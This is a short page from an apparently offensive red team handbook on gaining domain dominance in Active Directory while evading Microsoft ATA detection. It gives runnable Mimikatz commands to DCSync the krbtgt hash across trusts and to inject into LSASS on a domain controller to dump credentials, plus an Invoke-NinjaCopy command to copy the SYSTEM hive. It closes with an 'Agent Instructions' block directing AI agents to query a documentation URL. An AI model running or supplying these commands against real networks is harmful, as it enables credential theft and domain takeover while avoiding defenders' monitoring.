# Domain Dominance

## DCSync Across Trusts

DCsync from a user machine will for sure cause suspicious and generate an alert, but you can actually perform DCSync across trusts as this is normal traffic since DCs replicate stuff all the time.

```
PS C:\Users\childuser\Desktop> Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.com /user:domain\krbtgt"' -ComputerName child-dc 
```

## PSRemoting

Mixing PSremoting and other attacks will not be detected by ATA. For example, with WinRM or PSRemoting, we can inject Mimikatz into LSASS on a dC and grab the credentials in memory:&#x20;

```
Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject"' -Computer dc
```

Another thing you could to is use NinjaCopy, which uses PSRemoting with raw disk access to make a copy of the live system file:

```
Invoke-NinjaCopy -Path "c:\Windows\System32\config\SYSTEM" -ComputerName "dc" -LocalDestination "c:\temp\system"
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
